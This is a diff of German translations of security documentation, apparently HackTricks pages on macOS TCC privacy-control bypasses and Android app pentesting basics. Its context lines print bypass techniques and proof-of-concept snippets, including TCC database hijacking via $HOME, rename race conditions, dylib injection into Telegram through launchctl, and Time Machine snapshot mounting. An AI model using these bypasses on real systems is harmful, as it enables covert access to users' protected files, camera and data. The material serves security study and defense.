Darüber hinaus ist es möglich, die legitime App aus dem Dock zu entfernen und die gefälschte dort zu platzieren, sodass, wenn der Benutzer auf die gefälschte klickt (die dasselbe Symbol verwenden kann), sie die legitime aufrufen, um TCC-Berechtigungen zu verlangen und Malware auszuführen, wodurch der Benutzer glaubt, die legitime App habe den Zugriff angefordert.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -54,7 +54,7 @@ Hier finden Sie Beispiele dafür, wie einige **Malware in der Lage war, diesen S
Das Attribut **`com.apple.macl`** wird Dateien zugewiesen, um einer **bestimmten Anwendung Berechtigungen zum Lesen zu geben.** Dieses Attribut wird gesetzt, wenn eine Datei über eine App **gezogen und abgelegt** wird oder wenn ein Benutzer eine Datei **doppelklickt**, um sie mit der **Standardanwendung** zu öffnen.
Daher könnte ein Benutzer eine **bösartige App registrieren**, um alle Erweiterungen zu verwalten und Launch Services aufzurufen, um **jede Datei zu öffnen** (so erhält die bösartige Datei Zugriff auf das Lesen).
Daher könnte ein Benutzer eine **bösartige App registrieren**, um alle Erweiterungen zu handhaben und Launch Services aufzurufen, um **jede Datei zu öffnen** (so erhält die bösartige Datei Zugriff auf das Lesen).
### iCloud
@ -62,13 +62,13 @@ Mit der Berechtigung **`com.apple.private.icloud-account-access`** ist es mögli
**iMovie** und **Garageband** hatten diese Berechtigung und andere, die dies ermöglichten.
Für weitere **Informationen** über den Exploit, um **iCloud-Token** aus dieser Berechtigung zu erhalten, überprüfen Sie den Vortrag: [**#OBTS v5.0: "Was auf Ihrem Mac passiert, bleibt in Apples iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Für weitere **Informationen** über den Exploit, um **iCloud-Token** aus dieser Berechtigung zu erhalten, überprüfen Sie den Vortrag: [**#OBTS v5.0: "Was passiert auf Ihrem Mac, bleibt in Apples iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
Eine App mit der Berechtigung **`kTCCServiceAppleEvents`** wird in der Lage sein, **andere Apps zu steuern**. Das bedeutet, dass sie die Berechtigungen, die den anderen Apps gewährt wurden, **missbrauchen** könnte.
Für weitere Informationen über Apple Scripts siehe:
Für weitere Informationen über Apple Scripts überprüfen Sie:
{{#ref}}
macos-apple-scripts.md
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Der Benutzerland **tccd-Daemon** verwendet die **`HOME`** **Umgebungs**variable, um auf die TCC-Benutzerdatenbank zuzugreifen: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Der Benutzerraum **tccd-Daemon** verwendet die **`HOME`** **Umgebungsvariable**, um auf die TCC-Benutzerdatenbank zuzugreifen: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Laut [diesem Stack Exchange-Beitrag](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) und da der TCC-Daemon über `launchd` im aktuellen Benutzerbereich ausgeführt wird, ist es möglich, **alle Umgebungsvariablen** zu **steuern**, die an ihn übergeben werden.\
Daher könnte ein **Angreifer die `$HOME`-Umgebungsvariable** in **`launchctl`** so einstellen, dass sie auf ein **kontrolliertes** **Verzeichnis** verweist, den **TCC**-Daemon **neustarten** und dann die **TCC-Datenbank** **direkt ändern**, um sich **alle verfügbaren TCC-Berechtigungen** zu geben, ohne jemals den Endbenutzer zu fragen.\
Daher könnte ein **Angreifer die `$HOME`-Umgebungsvariable** in **`launchctl`** so einstellen, dass sie auf ein **kontrolliertes** **Verzeichnis** zeigt, den **TCC**-Daemon **neustarten** und dann die **TCC-Datenbank direkt ändern**, um sich **alle verfügbaren TCC-Berechtigungen** zu geben, ohne jemals den Endbenutzer zu fragen.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -153,20 +153,20 @@ Hinweise hatten Zugriff auf TCC-geschützte Standorte, aber wenn eine Notiz erst
Die Binärdatei `/usr/libexec/lsd` mit der Bibliothek `libsecurity_translocate` hatte die Berechtigung `com.apple.private.nullfs_allow`, die es ermöglichte, ein **nullfs**-Mount zu erstellen, und hatte die Berechtigung `com.apple.private.tcc.allow` mit **`kTCCServiceSystemPolicyAllFiles`**, um auf jede Datei zuzugreifen.
Es war möglich, das Quarantäneattribut zu "Library" hinzuzufügen, den **`com.apple.security.translocation`** XPC-Dienst aufzurufen und dann würde es "Library" auf **`$TMPDIR/AppTranslocation/d/d/Library`** abbilden, wo alle Dokumente in "Library" **zugänglich** sein konnten.
Es war möglich, das Quarantäneattribut zu "Library" hinzuzufügen, den **`com.apple.security.translocation`** XPC-Dienst aufzurufen und dann würde es Library auf **`$TMPDIR/AppTranslocation/d/d/Library`** abbilden, wo alle Dokumente in Library **zugänglich** waren.
### CVE-2023-38571 - Musik & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** hat eine interessante Funktion: Wenn es läuft, wird es die Dateien, die in **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** abgelegt werden, in die "Medienbibliothek" des Benutzers **importieren**. Darüber hinaus ruft es etwas auf wie: **`rename(a, b);`**, wobei `a` und `b` sind:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
Dieses **`rename(a, b);`** Verhalten ist anfällig für eine **Race Condition**, da es möglich ist, eine gefälschte **TCC.db**-Datei in den Ordner `Automatically Add to Music.localized` zu legen und dann, wenn der neue Ordner (b) erstellt wird, die Datei zu kopieren, sie zu löschen und auf **`~/Library/Application Support/com.apple.TCC`** zu verweisen.
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Wenn **`SQLITE_SQLLOG_DIR="path/folder"`** bedeutet das im Grunde, dass **jede offene DB in diesen Pfad kopiert wird**. In diesem CVE wurde diese Kontrolle missbraucht, um **in eine SQLite-Datenbank zu schreiben**, die von einem Prozess mit FDA die TCC-Datenbank **geöffnet** wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem **Symlink im Dateinamen** zu missbrauchen, sodass, wenn diese Datenbank **geöffnet** wird, die Benutzer-**TCC.db überschrieben** wird mit der geöffneten.\
Wenn **`SQLITE_SQLLOG_DIR="path/folder"`** bedeutet das im Grunde, dass **jede geöffnete DB in diesen Pfad kopiert wird**. In diesem CVE wurde diese Kontrolle missbraucht, um **in eine SQLite-Datenbank zu schreiben**, die von einem Prozess mit FDA die TCC-Datenbank **geöffnet** wird, und dann **`SQLITE_SQLLOG_DIR`** mit einem **Symlink im Dateinamen** zu missbrauchen, sodass, wenn diese Datenbank **geöffnet** wird, die Benutzer-**TCC.db überschrieben** wird mit der geöffneten.\
**Mehr Infos** [**im Bericht**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **und** [**im Vortrag**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -185,19 +185,19 @@ Diese **Umgebungsvariable wird vom `Metal`-Framework verwendet**, das eine Abhä
Setzen Sie Folgendes: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Wenn `path` ein gültiges Verzeichnis ist, wird der Fehler ausgelöst und wir können `fs_usage` verwenden, um zu sehen, was im Programm vor sich geht:
- Eine Datei wird `open()`ed, genannt `path/.dat.nosyncXXXX.XXXXXX` (X ist zufällig)
- Eine oder mehrere `write()`s schreiben den Inhalt in die Datei (darüber haben wir keine Kontrolle)
- Eine oder mehrere `write()`s werden den Inhalt in die Datei schreiben (wir kontrollieren dies nicht)
- `path/.dat.nosyncXXXX.XXXXXX` wird `renamed()` zu `path/name`
Es handelt sich um einen temporären Dateischreibvorgang, gefolgt von einem **`rename(old, new)`**, **das nicht sicher ist.**
Es ist nicht sicher, weil es **die alten und neuen Pfade separat auflösen muss**, was einige Zeit in Anspruch nehmen kann und anfällig für eine Race Condition sein kann. Für weitere Informationen können Sie die `xnu`-Funktion `renameat_internal()` überprüfen.
Es ist nicht sicher, weil es **die alten und neuen Pfade separat auflösen muss**, was einige Zeit in Anspruch nehmen kann und anfällig für einen Race Condition sein kann. Für weitere Informationen können Sie die `xnu`-Funktion `renameat_internal()` überprüfen.
> [!CAUTION]
> Wenn ein privilegierter Prozess von einem Ordner umbenennt, den Sie kontrollieren, könnten Sie einen RCE gewinnen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in diesem CVE, die Datei zu öffnen, die die privilegierte App erstellt hat, und einen FD zu speichern.
>
> Wenn das Umbenennen auf einen Ordner zugreift, den Sie kontrollieren, während Sie die Quelldatei geändert haben oder einen FD dafür haben, ändern Sie die Zieldatei (oder den Ordner), um auf ein Symlink zu zeigen, sodass Sie jederzeit schreiben können.
> Wenn das Umbenennen auf einen Ordner zugreift, den Sie kontrollieren, während Sie die Quelldatei geändert haben oder einen FD dafür haben, ändern Sie die Zieldatei (oder den Ordner), um auf einen Symlink zu zeigen, sodass Sie jederzeit schreiben können.
Dies war der Angriff im CVE: Um beispielsweise die `TCC.db` des Benutzers zu überschreiben, können wir:
Das war der Angriff im CVE: Um beispielsweise die `TCC.db` des Benutzers zu überschreiben, können wir:
- `/Users/hacker/ourlink` erstellen, um auf `/Users/hacker/Library/Application Support/com.apple.TCC/` zu zeigen
- das Verzeichnis `/Users/hacker/tmp/` erstellen
@ -223,7 +223,7 @@ Als Root könnten Sie diesen Dienst aktivieren und der **ARD-Agent hätte vollen
## Durch **NFSHomeDirectory**
TCC verwendet eine Datenbank im HOME-Ordner des Benutzers, um den Zugriff auf benutzerspezifische Ressourcen unter **$HOME/Library/Application Support/com.apple.TCC/TCC.db** zu steuern.\
Daher könnte der Benutzer, wenn er es schafft, TCC mit einer $HOME-Umgebungsvariable, die auf einen **anderen Ordner** zeigt, neu zu starten, eine neue TCC-Datenbank in **/Library/Application Support/com.apple.TCC/TCC.db** erstellen und TCC dazu bringen, jede TCC-Berechtigung für jede App zu gewähren.
Wenn es dem Benutzer gelingt, TCC mit einer $HOME-Umgebungsvariable, die auf einen **anderen Ordner** zeigt, neu zu starten, könnte der Benutzer eine neue TCC-Datenbank in **/Library/Application Support/com.apple.TCC/TCC.db** erstellen und TCC dazu bringen, jede TCC-Berechtigung für jede App zu gewähren.
> [!TIP]
> Beachten Sie, dass Apple die Einstellung verwendet, die im Benutzerprofil im **`NFSHomeDirectory`**-Attribut für den **Wert von `$HOME`** gespeichert ist. Wenn Sie also eine Anwendung mit Berechtigungen zur Änderung dieses Wertes (**`kTCCServiceSystemPolicySysAdminFiles`**) kompromittieren, können Sie diese Option mit einem TCC-Bypass **waffenfähig machen**.
@ -238,9 +238,9 @@ Der **erste POC** verwendet [**dsexport**](https://www.unix.com/man-page/osx/1/d
1. Holen Sie sich einen _csreq_-Blob für die Ziel-App.
2. Platzieren Sie eine gefälschte _TCC.db_-Datei mit erforderlichem Zugriff und dem _csreq_-Blob.
3. Exportieren Sie den Directory Services-Eintrag des Benutzers mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Ändern Sie den Directory Services-Eintrag, um das Home-Verzeichnis des Benutzers zu ändern.
5. Importieren Sie den geänderten Directory Services-Eintrag mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
3. Exportieren Sie den Verzeichnisdiensteintrag des Benutzers mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Ändern Sie den Verzeichnisdiensteintrag, um das Home-Verzeichnis des Benutzers zu ändern.
5. Importieren Sie den geänderten Verzeichnisdiensteintrag mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
6. Stoppen Sie den _tccd_ des Benutzers und starten Sie den Prozess neu.
Der zweite POC verwendete **`/usr/libexec/configd`**, das `com.apple.private.tcc.allow` mit dem Wert `kTCCServiceSystemPolicySysAdminFiles` hatte.\
@ -252,12 +252,13 @@ Für weitere Informationen siehe den [**originalen Bericht**](https://www.micros
Es gibt verschiedene Techniken, um Code in einen Prozess zu injizieren und dessen TCC-Berechtigungen auszunutzen:
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
Darüber hinaus ist die häufigste Prozessinjektion, um TCC zu umgehen, über **Plugins (Load Library)**.\
Plugins sind zusätzlicher Code, der normalerweise in Form von Bibliotheken oder plist vorliegt und von der **Hauptanwendung geladen** wird und unter ihrem Kontext ausgeführt wird. Daher hat der **benutzerdefinierte Code auch Zugriff**, wenn die Hauptanwendung Zugriff auf TCC-eingeschränkte Dateien hatte (über gewährte Berechtigungen oder Berechtigungen).
Plugins sind zusätzlicher Code, der normalerweise in Form von Bibliotheken oder plist vorliegt, die von der Hauptanwendung **geladen werden** und unter ihrem Kontext ausgeführt werden. Wenn die Hauptanwendung also Zugriff auf TCC-eingeschränkte Dateien hatte (durch gewährte Berechtigungen oder Berechtigungen), hat der **benutzerdefinierte Code ebenfalls Zugriff**.
### CVE-2020-27937 - Directory Utility
@ -346,7 +347,7 @@ Die Binärdatei `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` hatte
Telegram hatte die Berechtigungen **`com.apple.security.cs.allow-dyld-environment-variables`** und **`com.apple.security.cs.disable-library-validation`**, sodass es möglich war, dies auszunutzen, um **Zugriff auf seine Berechtigungen** zu erhalten, wie z.B. das Aufzeichnen mit der Kamera. Sie können [**die Payload im Bericht finden**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden. Eine **benutzerdefinierte plist** wurde erstellt, um diese Bibliothek einzuschleusen, und **`launchctl`** wurde verwendet, um sie zu starten:
Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden; eine **benutzerdefinierte plist** wurde erstellt, um diese Bibliothek einzuschleusen, und **`launchctl`** wurde verwendet, um sie zu starten:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -378,11 +379,11 @@ launchctl load com.telegram.launcher.plist
```
## Durch offene Aufrufe
Es ist möglich, **`open`** sogar im Sandbox-Modus aufzurufen.
Es ist möglich, **`open`** sogar im Sandkasten aufzurufen.
### Terminal-Skripte
Es ist recht üblich, Terminal **Full Disk Access (FDA)** zu gewähren, zumindest auf Computern, die von Technikern verwendet werden. Und es ist möglich, **`.terminal`**-Skripte damit aufzurufen.
Es ist ziemlich üblich, Terminal **Full Disk Access (FDA)** zu gewähren, zumindest auf Computern, die von Technikern verwendet werden. Und es ist möglich, **`.terminal`**-Skripte damit aufzurufen.
**`.terminal`**-Skripte sind plist-Dateien wie diese mit dem Befehl, der im **`CommandString`**-Schlüssel ausgeführt werden soll:
```xml
@ -418,7 +419,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC-Bypass und Privilegieneskalation
**Jeder Benutzer** (auch unprivilegierte) kann einen Time Machine-Snapshot erstellen und einbinden und **auf ALLE Dateien** dieses Snapshots zugreifen.\
Die **einzige Berechtigung**, die benötigt wird, ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf die Festplatte** (FDA) benötigt (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
Der **einzige privilegierte** Zugriff, der benötigt wird, ist für die verwendete Anwendung (wie `Terminal`), um **Vollzugriff auf die Festplatte** (FDA) zu haben (`kTCCServiceSystemPolicyAllfiles`), was von einem Administrator gewährt werden muss.
```bash
# Create snapshot
tmutil localsnapshot
@ -440,7 +441,7 @@ ls /tmp/snap/Users/admin_user # This will work
```
Eine detailliertere Erklärung kann [**im Originalbericht gefunden werden**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - Mount über TCC-Datei
### CVE-2021-1784 & CVE-2021-30808 - TCC-Datei über Mounten
Selbst wenn die TCC DB-Datei geschützt ist, war es möglich, **ein neues TCC.db-Datei über das Verzeichnis zu mounten**:
```bash
@ -469,7 +470,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Wie im [originalen Bericht](https://www.kandji.io/blog/macos-audit-story-part2) erklärt, missbrauchte dieses CVE `diskarbitrationd`.
Die Funktion `DADiskMountWithArgumentsCommon` aus dem öffentlichen `DiskArbitration`-Framework führte die Sicherheitsprüfungen durch. Es ist jedoch möglich, dies zu umgehen, indem man `diskarbitrationd` direkt aufruft und somit `../`-Elemente im Pfad und Symlinks verwendet.
Die Funktion `DADiskMountWithArgumentsCommon` aus dem öffentlichen `DiskArbitration`-Framework führte die Sicherheitsüberprüfungen durch. Es ist jedoch möglich, dies zu umgehen, indem man `diskarbitrationd` direkt aufruft und somit `../`-Elemente im Pfad und Symlinks verwendet.
Dies ermöglichte es einem Angreifer, beliebige Mounts an jedem Ort durchzuführen, einschließlich über die TCC-Datenbank aufgrund der Berechtigung `com.apple.private.security.storage-exempt.heritable` von `diskarbitrationd`.

View File

@ -4,7 +4,8 @@
## Grundlagen der Android-Anwendungen
Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile im Zusammenhang mit der Android-Sicherheit und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
Es wird dringend empfohlen, diese Seite zu lesen, um die **wichtigsten Teile in Bezug auf die Sicherheit von Android und die gefährlichsten Komponenten in einer Android-Anwendung** zu kennen:
{{#ref}}
android-applications-basics.md
@ -12,17 +13,17 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Dies ist das Hauptwerkzeug, das Sie benötigen, um sich mit einem Android-Gerät (emuliert oder physisch) zu verbinden.\
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und viele andere Funktionen.
Dies ist das Hauptwerkzeug, das Sie benötigen, um eine Verbindung zu einem Android-Gerät (emuliert oder physisch) herzustellen.\
**ADB** ermöglicht die Steuerung von Geräten entweder über **USB** oder **Netzwerk** von einem Computer aus. Dieses Dienstprogramm ermöglicht das **Kopieren** von Dateien in beide Richtungen, die **Installation** und **Deinstallation** von Apps, die **Ausführung** von Shell-Befehlen, das **Sichern** von Daten, das **Lesen** von Protokollen und andere Funktionen.
Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-commands.md), um zu lernen, wie man adb verwendet.
## Smali
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die APK zu dekompilieren, den Code zu ändern und sie neu zu kompilieren.\
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\
[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**.
## Weitere interessante Tricks
## Andere interessante Tricks
- [Standort im Play Store fälschen](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (ADB-basierter nicht-root privilegierter Zugriff)](shizuku-privileged-api.md)
@ -50,10 +51,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Fallstudien & Schwachstellen
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
@ -63,9 +66,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
Zunächst sollten Sie **einen Blick auf den Java-Code** werfen, indem Sie einen Decompiler verwenden.\
Bitte, [**lesen Sie hier, um Informationen über verschiedene verfügbare Decompiler zu finden**](apk-decompilers.md).
### Suche nach interessanten Informationen
### Auf der Suche nach interessanten Informationen
Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
Durch einen Blick auf die **Strings** der APK können Sie nach **Passwörtern**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API**-Schlüsseln, **Verschlüsselung**, **Bluetooth UUIDs**, **Tokens** und allem Interessanten suchen... suchen Sie sogar nach Codeausführungs-**Backdoors** oder Authentifizierungs-Backdoors (hardcodierte Admin-Anmeldeinformationen für die App).
**Firebase**
@ -73,13 +76,13 @@ Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht
### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml
Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendung kann potenzielle Sicherheitsanfälligkeiten aufdecken. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
Die **Untersuchung der _Manifest.xml_ und **_strings.xml_**-Dateien einer Anwendung kann potenzielle Sicherheitsanfälligkeiten aufdecken**. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden.
**Schwachstellen**, die aus der **Manifest.xml** identifiziert wurden, umfassen:
- **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
- **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikat-Pins und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
- **Exportierte Aktivitäten und Dienste**: Die Identifizierung exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
- **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden.
- **Broadcast-Empfänger und URL-Schemata**: Diese Komponenten könnten für Ausnutzungen verwendet werden, wobei besonderes Augenmerk darauf gelegt werden sollte, wie URL-Schemata für Eingabeschwachstellen verwaltet werden.
@ -89,21 +92,23 @@ Aus der **strings.xml**-Datei können sensible Informationen wie API-Schlüssel,
### Tapjacking
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opferanwendung sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opferanwendung weitergibt.\
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opferanwendung ausführt**.
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt**.
Weitere Informationen finden Sie in:
{{#ref}}
tapjacking.md
{{#endref}}
### Task Hijacking
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen** könnte (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
Weitere Informationen finden Sie in:
{{#ref}}
android-task-hijacking.md
{{#endref}}
@ -112,12 +117,12 @@ android-task-hijacking.md
**Interner Speicher**
In Android sind Dateien, die im **internen** Speicher **gespeichert** sind, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
1. **Statische Analyse:**
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten Dateien potenziell ungewolltem oder unbefugtem Zugriff** aussetzen.
2. **Dynamische Analyse:**
- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, **ermöglicht, diese Dateien zu lesen oder zu modifizieren**.
- **Überprüfen** Sie die **Berechtigungen**, die für Dateien festgelegt sind, die von der App erstellt wurden. Überprüfen Sie insbesondere, ob Dateien **so eingestellt sind, dass sie weltweit lesbar oder schreibbar sind**. Dies kann ein erhebliches Sicherheitsrisiko darstellen, da es **jeder Anwendung**, die auf dem Gerät installiert ist, unabhängig von ihrer Herkunft oder Absicht, ermöglichen würde, diese Dateien **zu lesen oder zu modifizieren**.
**Externer Speicher**
@ -126,7 +131,7 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
1. **Zugänglichkeit**:
- Dateien auf externem Speicher sind **global lesbar und schreibbar**. Das bedeutet, dass jede Anwendung oder jeder Benutzer auf diese Dateien zugreifen kann.
2. **Sicherheitsbedenken**:
